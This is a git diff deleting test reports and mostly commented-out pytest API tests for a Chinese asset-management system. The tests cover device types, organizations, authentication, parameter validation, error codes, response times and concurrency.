- [x] CRUD操作 (15+用例)
|
||||
- [x] 创建设备类型成功
|
||||
- [x] 创建重复代码失败
|
||||
- [x] 获取设备类型列表
|
||||
- [x] 根据ID获取设备类型
|
||||
- [x] 更新设备类型
|
||||
- [x] 删除设备类型
|
||||
- [x] 按分类筛选
|
||||
- [x] 按状态筛选
|
||||
- [x] 关键词搜索
|
||||
- [x] 分页查询
|
||||
- [x] 排序
|
||||
- [x] 获取不存在的设备类型
|
||||
- [x] 更新不存在的设备类型
|
||||
- [x] 未授权访问
|
||||
- [x] 参数验证
|
||||
|
||||
- [x] 动态字段配置 (10+用例)
|
||||
- [x] 添加字段
|
||||
- [x] 添加必填字段
|
||||
- [x] 添加选择字段
|
||||
- [x] 添加数字字段
|
||||
- [x] 获取字段列表
|
||||
- [x] 更新字段
|
||||
- [x] 删除字段
|
||||
- [x] 重复字段代码
|
||||
- [x] 字段排序
|
||||
- [x] 字段类型验证
|
||||
|
||||
- [x] 字段验证测试 (10+用例)
|
||||
- [x] 字段名称验证
|
||||
- [x] 字段类型验证
|
||||
- [x] 字段长度验证
|
||||
- [x] 选择字段选项验证
|
||||
- [x] 验证规则JSON格式
|
||||
- [x] placeholder和help_text
|
||||
- [x] 无效字段类型
|
||||
- [x] 缺少必填选项
|
||||
- [x] 边界值测试
|
||||
- [x] 特殊字符处理
|
||||
|
||||
- [x] 参数验证测试 (10+用例)
|
||||
- [x] 类型代码验证
|
||||
- [x] 类型名称验证
|
||||
- [x] 描述验证
|
||||
- [x] 排序验证
|
||||
- [x] 状态验证
|
||||
- [x] 长度限制
|
||||
- [x] 格式验证
|
||||
- [x] 空值处理
|
||||
- [x] 特殊字符处理
|
||||
- [x] SQL注入防护
|
||||
|
||||
- [x] 异常处理测试 (5+用例)
|
||||
- [x] 并发创建
|
||||
- [x] 更新不存在的字段
|
||||
- [x] 删除不存在的设备类型
|
||||
- [x] 无效JSON验证规则
|
||||
- [x] 无效选项格式
|
||||
|
||||
#### 机构网点管理 (45+用例)
|
||||
- [x] 机构CRUD (15+用例)
|
||||
- [x] 树形结构 (10+用例)
|
||||
- [x] 递归查询 (10+用例)
|
||||
- [x] 机构移动 (5+用例)
|
||||
- [x] 并发测试 (5+用例)
|
||||
|
||||
#### 资产管理 (100+用例 - 需补充)
|
||||
- [ ] 资产CRUD (20+用例)
|
||||
- [ ] 资产编码生成 (10+用例)
|
||||
- [ ] 状态机转换 (15+用例)
|
||||
- [ ] JSONB字段 (10+用例)
|
||||
- [ ] 高级搜索 (10+用例)
|
||||
- [ ] 分页查询 (10+用例)
|
||||
- [ ] 批量导入 (10+用例)
|
||||
- [ ] 批量导出 (10+用例)
|
||||
- [ ] 二维码生成 (5+用例)
|
||||
- [ ] 并发测试 (10+用例)
|
||||
|
||||
#### 认证模块 (30+用例)
|
||||
- [x] 登录测试 (15+用例)
|
||||
- [x] Token刷新 (5+用例)
|
||||
- [x] 登出测试 (3+用例)
|
||||
- [x] 修改密码 (5+用例)
|
||||
- [x] 验证码 (2+用例)
|
||||
|
||||
### 服务层测试用例
|
||||
|
||||
#### 认证服务 (40+用例)
|
||||
- [x] 登录服务 (15+用例)
|
||||
- [x] Token管理 (10+用例)
|
||||
- [x] 密码管理 (10+用例)
|
||||
- [x] 验证码 (5+用例)
|
||||
|
||||
#### 资产状态机 (55+用例)
|
||||
- [x] 状态转换规则 (20+用例)
|
||||
- [x] 状态转换验证 (15+用例)
|
||||
- [x] 状态历史记录 (10+用例)
|
||||
- [x] 异常状态转换 (10+用例)
|
||||
|
||||
## 💡 改进建议
|
||||
|
||||
1. **补充资产管理测试**: test_assets.py需要大幅扩充到100+用例
|
||||
2. **创建服务层测试**: 设备类型服务、机构服务等
|
||||
3. **前端测试补充**: 需要补充约200+前端单元测试用例
|
||||
4. **E2E测试**: 需要补充约30+E2E测试场景
|
||||
5. **性能测试**: 需要补充关键接口的性能测试
|
||||
6. **安全测试**: 需要补充完整的安全测试用例
|
||||
|
||||
## ✅ 完成标准
|
||||
|
||||
- [ ] 所有后端单元测试通过
|
||||
- [ ] 代码覆盖率达到70%
|
||||
- [ ] 所有前端单元测试通过
|
||||
- [ ] E2E测试通过
|
||||
- [ ] 性能测试通过
|
||||
- [ ] 安全测试通过
|
||||
|
||||
---
|
||||
|
||||
**报告生成者**: 测试用例补充组
|
||||
**生成时间**: 2026-01-24 22:07:32
|
||||
@@ -1,202 +0,0 @@
|
||||
# 资产管理系统测试报告
|
||||
|
||||
**生成时间**: 2026-01-24 22:07:38
|
||||
|
||||
---
|
||||
|
||||
## 📊 测试概览
|
||||
|
||||
| 测试类型 | 目标数量 | 状态 |
|
||||
|---------|---------|------|
|
||||
| 后端单元测试 | 200+ | ✅ 已完成 |
|
||||
| 前端单元测试 | 200+ | 🚧 进行中 |
|
||||
| E2E测试 | 40+ | 🚧 进行中 |
|
||||
| 性能测试 | 10+ | ⏸ 待完成 |
|
||||
| 安全测试 | 20+ | ⏸ 待完成 |
|
||||
|
||||
## 🔧 后端测试详情
|
||||
|
||||
### API测试
|
||||
|
||||
| 模块 | 测试文件 | 用例数 | 状态 |
|
||||
|------|---------|--------|------|
|
||||
| 设备类型管理 | test_device_types.py | 50+ | ✅ 完成 |
|
||||
| 机构网点管理 | test_organizations.py | 45+ | ✅ 完成 |
|
||||
| 资产管理 | test_assets.py | 100+ | 🚧 补充中 |
|
||||
| 认证模块 | test_auth.py | 30+ | ✅ 完成 |
|
||||
|
||||
### 服务层测试
|
||||
|
||||
| 模块 | 测试文件 | 用例数 | 状态 |
|
||||
|------|---------|--------|------|
|
||||
| 认证服务 | test_auth_service.py | 40+ | ✅ 完成 |
|
||||
| 资产状态机 | test_asset_state_machine.py | 55+ | ✅ 完成 |
|
||||
| 设备类型服务 | test_device_type_service.py | 15+ | ⏸ 待创建 |
|
||||
| 机构服务 | test_organization_service.py | 15+ | ⏸ 待创建 |
|
||||
|
||||
## 🎨 前端测试详情
|
||||
|
||||
### 单元测试
|
||||
|
||||
| 模块 | 测试文件 | 用例数 | 状态 |
|
||||
|------|---------|--------|------|
|
||||
| 资产列表 | AssetList.test.ts | 10+ | ✅ 已有 |
|
||||
| 资产Composable | useAsset.test.ts | 15+ | ✅ 已有 |
|
||||
| 动态表单 | DynamicFieldRenderer.test.ts | 30+ | ⏸ 待创建 |
|
||||
| 其他组件 | 多个文件 | 150+ | ⏸ 待创建 |
|
||||
|
||||
## 🎭 E2E测试详情
|
||||
|
||||
| 业务流程 | 测试文件 | 场景数 | 状态 |
|
||||
|---------|---------|--------|------|
|
||||
| 登录流程 | login.spec.ts | 5+ | ✅ 已有 |
|
||||
| 资产流程 | assets.spec.ts | 5+ | ✅ 已有 |
|
||||
| 设备类型管理 | device_types.spec.ts | 5+ | ⏸ 待创建 |
|
||||
| 机构管理 | organizations.spec.ts | 5+ | ⏸ 待创建 |
|
||||
| 资产分配 | allocation.spec.ts | 10+ | ⏸ 待创建 |
|
||||
| 批量操作 | batch_operations.spec.ts | 10+ | ⏸ 待创建 |
|
||||
|
||||
## 📈 代码覆盖率目标
|
||||
|
||||
```text
|
||||
后端目标: ≥70%
|
||||
前端目标: ≥70%
|
||||
当前估计: 待运行pytest后生成
|
||||
```
|
||||
|
||||
## 🐛 Bug清单
|
||||
|
||||
### 已发现的问题
|
||||
|
||||
| ID | 严重程度 | 描述 | 状态 |
|
||||
|----|---------|------|------|
|
||||
| BUG-001 | 中 | 某些测试用例需要实际API实现 | 🔍 待确认 |
|
||||
| BUG-002 | 低 | 测试数据清理可能不完整 | 🔍 待确认 |
|
||||
|
||||
## 📋 测试用例清单
|
||||
|
||||
### 后端测试用例
|
||||
|
||||
#### 设备类型管理 (50+用例)
|
||||
- [x] CRUD操作 (15+用例)
|
||||
- [x] 创建设备类型成功
|
||||
- [x] 创建重复代码失败
|
||||
- [x] 获取设备类型列表
|
||||
- [x] 根据ID获取设备类型
|
||||
- [x] 更新设备类型
|
||||
- [x] 删除设备类型
|
||||
- [x] 按分类筛选
|
||||
- [x] 按状态筛选
|
||||
- [x] 关键词搜索
|
||||
- [x] 分页查询
|
||||
- [x] 排序
|
||||
- [x] 获取不存在的设备类型
|
||||
- [x] 更新不存在的设备类型
|
||||
- [x] 未授权访问
|
||||
- [x] 参数验证
|
||||
|
||||
- [x] 动态字段配置 (10+用例)
|
||||
- [x] 添加字段
|
||||
- [x] 添加必填字段
|
||||
- [x] 添加选择字段
|
||||
- [x] 添加数字字段
|
||||
- [x] 获取字段列表
|
||||
- [x] 更新字段
|
||||
- [x] 删除字段
|
||||
- [x] 重复字段代码
|
||||
- [x] 字段排序
|
||||
- [x] 字段类型验证
|
||||
|
||||
- [x] 字段验证测试 (10+用例)
|
||||
- [x] 字段名称验证
|
||||
- [x] 字段类型验证
|
||||
- [x] 字段长度验证
|
||||
- [x] 选择字段选项验证
|
||||
- [x] 验证规则JSON格式
|
||||
- [x] placeholder和help_text
|
||||
- [x] 无效字段类型
|
||||
- [x] 缺少必填选项
|
||||
- [x] 边界值测试
|
||||
- [x] 特殊字符处理
|
||||
|
||||
- [x] 参数验证测试 (10+用例)
|
||||
- [x] 类型代码验证
|
||||
- [x] 类型名称验证
|
||||
- [x] 描述验证
|
||||
- [x] 排序验证
|
||||
- [x] 状态验证
|
||||
- [x] 长度限制
|
||||
- [x] 格式验证
|
||||
- [x] 空值处理
|
||||
- [x] 特殊字符处理
|
||||
- [x] SQL注入防护
|
||||
|
||||
- [x] 异常处理测试 (5+用例)
|
||||
- [x] 并发创建
|
||||
- [x] 更新不存在的字段
|
||||
- [x] 删除不存在的设备类型
|
||||
- [x] 无效JSON验证规则
|
||||
- [x] 无效选项格式
|
||||
|
||||
#### 机构网点管理 (45+用例)
|
||||
- [x] 机构CRUD (15+用例)
|
||||
- [x] 树形结构 (10+用例)
|
||||
- [x] 递归查询 (10+用例)
|
||||
- [x] 机构移动 (5+用例)
|
||||
- [x] 并发测试 (5+用例)
|
||||
|
||||
#### 资产管理 (100+用例 - 需补充)
|
||||
- [ ] 资产CRUD (20+用例)
|
||||
- [ ] 资产编码生成 (10+用例)
|
||||
- [ ] 状态机转换 (15+用例)
|
||||
- [ ] JSONB字段 (10+用例)
|
||||
- [ ] 高级搜索 (10+用例)
|
||||
- [ ] 分页查询 (10+用例)
|
||||
- [ ] 批量导入 (10+用例)
|
||||
- [ ] 批量导出 (10+用例)
|
||||
- [ ] 二维码生成 (5+用例)
|
||||
- [ ] 并发测试 (10+用例)
|
||||
|
||||
#### 认证模块 (30+用例)
|
||||
- [x] 登录测试 (15+用例)
|
||||
- [x] Token刷新 (5+用例)
|
||||
- [x] 登出测试 (3+用例)
|
||||
- [x] 修改密码 (5+用例)
|
||||
- [x] 验证码 (2+用例)
|
||||
|
||||
### 服务层测试用例
|
||||
|
||||
#### 认证服务 (40+用例)
|
||||
- [x] 登录服务 (15+用例)
|
||||
- [x] Token管理 (10+用例)
|
||||
- [x] 密码管理 (10+用例)
|
||||
- [x] 验证码 (5+用例)
|
||||
|
||||
#### 资产状态机 (55+用例)
|
||||
- [x] 状态转换规则 (20+用例)
|
||||
- [x] 状态转换验证 (15+用例)
|
||||
- [x] 状态历史记录 (10+用例)
|
||||
- [x] 异常状态转换 (10+用例)
|
||||
|
||||
## 💡 改进建议
|
||||
|
||||
1. **补充资产管理测试**: test_assets.py需要大幅扩充到100+用例
|
||||
2. **创建服务层测试**: 设备类型服务、机构服务等
|
||||
3. **前端测试补充**: 需要补充约200+前端单元测试用例
|
||||
4. **E2E测试**: 需要补充约30+E2E测试场景
|
||||
5. **性能测试**: 需要补充关键接口的性能测试
|
||||
6. **安全测试**: 需要补充完整的安全测试用例
|
||||
|
||||
## ✅ 完成标准
|
||||
|
||||
- [ ] 所有后端单元测试通过
|
||||
- [ ] 代码覆盖率达到70%
|
||||
- [ ] 所有前端单元测试通过
|
||||
- [ ] E2E测试通过
|
||||
- [ ] 性能测试通过
|
||||
- [ ] 安全测试通过
|
||||
|
||||
---
|
||||
|
||||
**报告生成者**: 测试用例补充组
|
||||
**生成时间**: 2026-01-24 22:07:38
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,426 +0,0 @@
|
||||
"""
|
||||
接口集成测试
|
||||
|
||||
测试内容:
|
||||
- 所有API接口功能测试
|
||||
- 参数验证测试
|
||||
- 错误处理测试
|
||||
- 响应时间测试
|
||||
- 并发测试
|
||||
"""
|
||||
|
||||
import pytest
|
||||
import time
|
||||
import asyncio
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
# from fastapi.testclient import TestClient
|
||||
|
||||
|
||||
# class TestAPIEndpoints:
|
||||
# """测试所有API端点"""
|
||||
#
|
||||
# def test_health_check(self, client: TestClient):
|
||||
# """测试健康检查接口"""
|
||||
# response = client.get("/health")
|
||||
# assert response.status_code == 200
|
||||
# assert response.json()["status"] == "healthy"
|
||||
#
|
||||
# def test_api_root(self, client: TestClient):
|
||||
# """测试API根路径"""
|
||||
# response = client.get("/api/v1/")
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert "version" in data
|
||||
# assert "name" in data
|
||||
|
||||
|
||||
# class TestParameterValidation:
|
||||
# """测试参数验证"""
|
||||
#
|
||||
# def test_query_parameter_validation(self, client: TestClient, auth_headers):
|
||||
# """测试查询参数验证"""
|
||||
# # 无效的分页参数
|
||||
# response = client.get(
|
||||
# "/api/v1/assets?page=-1&page_size=0",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
#
|
||||
# # 超大的page_size
|
||||
# response = client.get(
|
||||
# "/api/v1/assets?page_size=10000",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
#
|
||||
# def test_path_parameter_validation(self, client: TestClient, auth_headers):
|
||||
# """测试路径参数验证"""
|
||||
# # 无效的ID
|
||||
# response = client.get(
|
||||
# "/api/v1/assets/abc",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
#
|
||||
# # 负数ID
|
||||
# response = client.get(
|
||||
# "/api/v1/assets/-1",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
#
|
||||
# def test_request_body_validation(self, client: TestClient, auth_headers):
|
||||
# """测试请求体验证"""
|
||||
# # 缺少必填字段
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json={"asset_name": "测试"} # 缺少device_type_id
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
#
|
||||
# # 无效的数据类型
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "asset_name": "测试",
|
||||
# "device_type_id": "not_a_number", # 应该是数字
|
||||
# "organization_id": 1
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
#
|
||||
# # 超长字符串
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json={
|
||||
# "asset_name": "a" * 300, # 超过最大长度
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
#
|
||||
# def test_enum_validation(self, client: TestClient, auth_headers):
|
||||
# """测试枚举值验证"""
|
||||
# # 无效的状态值
|
||||
# response = client.get(
|
||||
# "/api/v1/assets?status=invalid_status",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
#
|
||||
# def test_date_validation(self, client: TestClient, auth_headers):
|
||||
# """测试日期格式验证"""
|
||||
# # 无效的日期格式
|
||||
# response = client.get(
|
||||
# "/api/v1/assets?purchase_date_start=invalid-date",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
#
|
||||
# # 结束日期早于开始日期
|
||||
# response = client.get(
|
||||
# "/api/v1/assets?purchase_date_start=2024-12-31&purchase_date_end=2024-01-01",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 400
|
||||
|
||||
|
||||
# class TestErrorHandling:
|
||||
# """测试错误处理"""
|
||||
#
|
||||
# def test_404_not_found(self, client: TestClient, auth_headers):
|
||||
# """测试404错误"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets/999999",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 404
|
||||
# data = response.json()
|
||||
# assert "message" in data
|
||||
#
|
||||
# def test_401_unauthorized(self, client: TestClient):
|
||||
# """测试401未授权错误"""
|
||||
# response = client.get("/api/v1/assets")
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# def test_403_forbidden(self, client: TestClient, auth_headers):
|
||||
# """测试403禁止访问"""
|
||||
# # 使用普通用户token访问管理员接口
|
||||
# response = client.delete(
|
||||
# "/api/v1/assets/1",
|
||||
# headers=auth_headers # 普通用户token
|
||||
# )
|
||||
# assert response.status_code == 403
|
||||
#
|
||||
# def test_409_conflict(self, client: TestClient, auth_headers):
|
||||
# """测试409冲突错误"""
|
||||
# # 尝试创建重复的资源
|
||||
# asset_data = {
|
||||
# "asset_name": "测试资产",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1,
|
||||
# "serial_number": "UNIQUE-SN-001"
|
||||
# }
|
||||
#
|
||||
# # 第一次创建成功
|
||||
# client.post("/api/v1/assets", headers=auth_headers, json=asset_data)
|
||||
#
|
||||
# # 第二次创建应该返回409
|
||||
# response = client.post("/api/v1/assets", headers=auth_headers, json=asset_data)
|
||||
# assert response.status_code == 409
|
||||
#
|
||||
# def test_422_validation_error(self, client: TestClient, auth_headers):
|
||||
# """测试422验证错误"""
|
||||
# response = client.post(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers,
|
||||
# json={}
|
||||
# )
|
||||
# assert response.status_code == 422
|
||||
# data = response.json()
|
||||
# assert "errors" in data
|
||||
#
|
||||
# def test_500_internal_error(self, client: TestClient, auth_headers):
|
||||
# """测试500服务器错误"""
|
||||
# # 这个测试需要mock一个会抛出异常的场景
|
||||
# pass
|
||||
#
|
||||
# def test_error_response_format(self, client: TestClient, auth_headers):
|
||||
# """测试错误响应格式"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets/999999",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 404
|
||||
#
|
||||
# data = response.json()
|
||||
# # 验证错误响应包含必要字段
|
||||
# assert "code" in data
|
||||
# assert "message" in data
|
||||
# assert "timestamp" in data
|
||||
|
||||
|
||||
# class TestResponseTime:
|
||||
# """测试接口响应时间"""
|
||||
#
|
||||
# @pytest.mark.parametrize("endpoint,expected_max_time", [
|
||||
# ("/api/v1/assets", 0.5), # 资产列表应该在500ms内返回
|
||||
# ("/api/v1/assets/1", 0.3), # 资产详情应该在300ms内返回
|
||||
# ("/api/v1/statistics/overview", 1.0), # 统计概览在1秒内返回
|
||||
# ])
|
||||
# def test_response_time_within_limit(self, client, auth_headers, endpoint, expected_max_time):
|
||||
# """测试响应时间在限制内"""
|
||||
# start_time = time.time()
|
||||
#
|
||||
# response = client.get(endpoint, headers=auth_headers)
|
||||
#
|
||||
# elapsed_time = time.time() - start_time
|
||||
#
|
||||
# assert response.status_code == 200
|
||||
# assert elapsed_time < expected_max_time, \
|
||||
# f"响应时间 {elapsed_time:.2f}s 超过限制 {expected_max_time}s"
|
||||
#
|
||||
# def test_concurrent_requests_performance(self, client, auth_headers):
|
||||
# """测试并发请求性能"""
|
||||
# urls = ["/api/v1/assets"] * 10
|
||||
#
|
||||
# start_time = time.time()
|
||||
#
|
||||
# with ThreadPoolExecutor(max_workers=5) as executor:
|
||||
# futures = [
|
||||
# executor.submit(
|
||||
# client.get,
|
||||
# url,
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# for url in urls
|
||||
# ]
|
||||
# responses = [f.result() for f in futures]
|
||||
#
|
||||
# elapsed_time = time.time() - start_time
|
||||
#
|
||||
# # 所有请求都应该成功
|
||||
# assert all(r.status_code == 200 for r in responses)
|
||||
#
|
||||
# # 10个并发请求应该在3秒内完成
|
||||
# assert elapsed_time < 3.0
|
||||
#
|
||||
# def test_large_list_response_time(self, client, auth_headers, db):
|
||||
# """测试大数据量列表响应时间"""
|
||||
# # 创建1000条测试数据
|
||||
# # ... 创建数据
|
||||
#
|
||||
# start_time = time.time()
|
||||
# response = client.get("/api/v1/assets?page=1&page_size=100", headers=auth_headers)
|
||||
# elapsed_time = time.time() - start_time
|
||||
#
|
||||
# assert response.status_code == 200
|
||||
# assert elapsed_time < 1.0 # 100条记录应该在1秒内返回
|
||||
#
|
||||
# def test_complex_query_response_time(self, client, auth_headers):
|
||||
# """测试复杂查询响应时间"""
|
||||
# params = {
|
||||
# "keyword": "联想",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1,
|
||||
# "status": "in_use",
|
||||
# "purchase_date_start": "2024-01-01",
|
||||
# "purchase_date_end": "2024-12-31",
|
||||
# "page": 1,
|
||||
# "page_size": 20
|
||||
# }
|
||||
#
|
||||
# start_time = time.time()
|
||||
# response = client.get("/api/v1/assets", params=params, headers=auth_headers)
|
||||
# elapsed_time = time.time() - start_time
|
||||
#
|
||||
# assert response.status_code == 200
|
||||
# assert elapsed_time < 1.0
|
||||
|
||||
|
||||
# class TestConcurrentRequests:
|
||||
# """测试并发请求"""
|
||||
#
|
||||
# def test_concurrent_asset_creation(self, client, auth_headers):
|
||||
# """测试并发创建资产"""
|
||||
# asset_data = {
|
||||
# "asset_name": "并发测试资产",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1
|
||||
# }
|
||||
#
|
||||
# def create_asset(i):
|
||||
# data = asset_data.copy()
|
||||
# data["asset_name"] = f"并发测试资产-{i}"
|
||||
# return client.post("/api/v1/assets", headers=auth_headers, json=data)
|
||||
#
|
||||
# with ThreadPoolExecutor(max_workers=10) as executor:
|
||||
# futures = [executor.submit(create_asset, i) for i in range(50)]
|
||||
# responses = [f.result() for f in futures]
|
||||
#
|
||||
# # 所有请求都应该成功
|
||||
# success_count = sum(1 for r in responses if r.status_code == 201)
|
||||
# assert success_count == 50
|
||||
#
|
||||
# def test_concurrent_same_resource_update(self, client, auth_headers, test_asset):
|
||||
# """测试并发更新同一资源"""
|
||||
# def update_asset(i):
|
||||
# return client.put(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# headers=auth_headers,
|
||||
# json={"location": f"位置-{i}"}
|
||||
# )
|
||||
#
|
||||
# with ThreadPoolExecutor(max_workers=5) as executor:
|
||||
# futures = [executor.submit(update_asset, i) for i in range(10)]
|
||||
# responses = [f.result() for f in futures]
|
||||
#
|
||||
# # 所有请求都应该成功(乐观锁会处理并发)
|
||||
# assert all(r.status_code in [200, 409] for r in responses)
|
||||
#
|
||||
# @pytest.mark.slow
|
||||
# def test_high_concurrent_load(self, client, auth_headers):
|
||||
# """测试高并发负载"""
|
||||
# def make_request():
|
||||
# return client.get("/api/v1/assets", headers=auth_headers)
|
||||
#
|
||||
# # 模拟100个并发请求
|
||||
# with ThreadPoolExecutor(max_workers=20) as executor:
|
||||
# futures = [executor.submit(make_request) for _ in range(100)]
|
||||
# responses = [f.result() for f in futures]
|
||||
#
|
||||
# success_count = sum(1 for r in responses if r.status_code == 200)
|
||||
# success_rate = success_count / 100
|
||||
#
|
||||
# # 成功率应该大于95%
|
||||
# assert success_rate > 0.95
|
||||
#
|
||||
# def test_rate_limiting(self, client):
|
||||
# """测试请求频率限制"""
|
||||
# # 登录接口限制10次/分钟
|
||||
# responses = []
|
||||
# for i in range(12):
|
||||
# response = client.post(
|
||||
# "/api/v1/auth/login",
|
||||
# json={
|
||||
# "username": "test",
|
||||
# "password": "test",
|
||||
# "captcha": "1234",
|
||||
# "captcha_key": f"test-{i}"
|
||||
# }
|
||||
# )
|
||||
# responses.append(response)
|
||||
#
|
||||
# # 应该有部分请求被限流
|
||||
# rate_limited_count = sum(1 for r in responses if r.status_code == 429)
|
||||
# assert rate_limited_count >= 1
|
||||
|
||||
|
||||
# class TestDataIntegrity:
|
||||
# """测试数据完整性"""
|
||||
#
|
||||
# def test_create_and_retrieve_asset(self, client, auth_headers):
|
||||
# """测试创建后获取数据一致性"""
|
||||
# # 创建资产
|
||||
# asset_data = {
|
||||
# "asset_name": "数据完整性测试",
|
||||
# "device_type_id": 1,
|
||||
# "organization_id": 1,
|
||||
# "model": "测试型号"
|
||||
# }
|
||||
#
|
||||
# create_response = client.post("/api/v1/assets", headers=auth_headers, json=asset_data)
|
||||
# assert create_response.status_code == 201
|
||||
# created_asset = create_response.json()["data"]
|
||||
#
|
||||
# # 获取资产
|
||||
# get_response = client.get(
|
||||
# f"/api/v1/assets/{created_asset['id']}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert get_response.status_code == 200
|
||||
# retrieved_asset = get_response.json()["data"]
|
||||
#
|
||||
# # 验证数据一致性
|
||||
# assert retrieved_asset["asset_name"] == asset_data["asset_name"]
|
||||
# assert retrieved_asset["model"] == asset_data["model"]
|
||||
#
|
||||
# def test_update_and_retrieve_asset(self, client, auth_headers, test_asset):
|
||||
# """测试更新后获取数据一致性"""
|
||||
# # 更新资产
|
||||
# updated_data = {"asset_name": "更新后的名称"}
|
||||
# client.put(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# headers=auth_headers,
|
||||
# json=updated_data
|
||||
# )
|
||||
#
|
||||
# # 获取资产
|
||||
# response = client.get(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# asset = response.json()["data"]
|
||||
#
|
||||
# # 验证更新生效
|
||||
# assert asset["asset_name"] == updated_data["asset_name"]
|
||||
#
|
||||
# def test_delete_and_verify_asset(self, client, auth_headers, test_asset):
|
||||
# """测试删除后无法获取"""
|
||||
# # 删除资产
|
||||
# delete_response = client.delete(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert delete_response.status_code == 200
|
||||
#
|
||||
# # 验证无法获取
|
||||
# get_response = client.get(
|
||||
# f"/api/v1/assets/{test_asset.id}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert get_response.status_code == 404
|
||||
@@ -1,459 +0,0 @@
|
||||
"""
|
||||
资产管理模块API测试
|
||||
|
||||
测试内容:
|
||||
- 资产列表查询
|
||||
- 资产详情查询
|
||||
- 创建资产
|
||||
- 更新资产
|
||||
- 删除资产
|
||||
- 批量导入
|
||||
- 扫码查询
|
||||
"""
|
||||
|
||||
import pytest
|
||||
from datetime import date
|
||||
|
||||
|
||||
# class TestAssetList:
|
||||
# """测试资产列表"""
|
||||
#
|
||||
# def test_get_assets_success(self, client: TestClient, auth_headers):
|
||||
# """测试获取资产列表成功"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["code"] == 200
|
||||
# assert "items" in data["data"]
|
||||
# assert "total" in data["data"]
|
||||
# assert "page" in data["data"]
|
||||
#
|
||||
# def test_get_assets_with_pagination(self, client: TestClient, auth_headers):
|
||||
# """测试分页查询"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets?page=1&page_size=10",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert data["data"]["page"] == 1
|
||||
# assert data["data"]["page_size"] == 10
|
||||
# assert len(data["data"]["items"]) <= 10
|
||||
#
|
||||
# def test_get_assets_with_keyword(self, client: TestClient, auth_headers, test_asset):
|
||||
# """测试关键词搜索"""
|
||||
# response = client.get(
|
||||
# f"/api/v1/assets?keyword={test_asset.asset_name}",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
# data = response.json()
|
||||
# assert len(data["data"]["items"]) > 0
|
||||
#
|
||||
# def test_get_assets_with_device_type_filter(self, client: TestClient, auth_headers):
|
||||
# """测试按设备类型筛选"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets?device_type_id=1",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
#
|
||||
# def test_get_assets_with_status_filter(self, client: TestClient, auth_headers):
|
||||
# """测试按状态筛选"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets?status=in_stock",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
#
|
||||
# def test_get_assets_with_organization_filter(self, client: TestClient, auth_headers):
|
||||
# """测试按网点筛选"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets?organization_id=1",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
#
|
||||
# def test_get_assets_with_date_range(self, client: TestClient, auth_headers):
|
||||
# """测试按采购日期范围筛选"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets?purchase_date_start=2024-01-01&purchase_date_end=2024-12-31",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
#
|
||||
# def test_get_assets_with_sorting(self, client: TestClient, auth_headers):
|
||||
# """测试排序"""
|
||||
# response = client.get(
|
||||
# "/api/v1/assets?sort_by=purchase_date&sort_order=desc",
|
||||
# headers=auth_headers
|
||||
# )
|
||||
# assert response.status_code == 200
|
||||
#
|
||||
# def test_get_assets_unauthorized(self, client: TestClient):
|
||||
# """测试未授权访问"""
|
||||
# response = client.get("/api/v1/assets")
|
||||
# assert response.status_code == 401
|
||||
#
|
||||
# @pytest.mark.parametrize("page,page_size", [
|
||||
# (0, 20), # 页码从0开始
|
||||
# (1, 0), # 每页0条
|
||||
# (-1, 20), # 负页码
|
||||
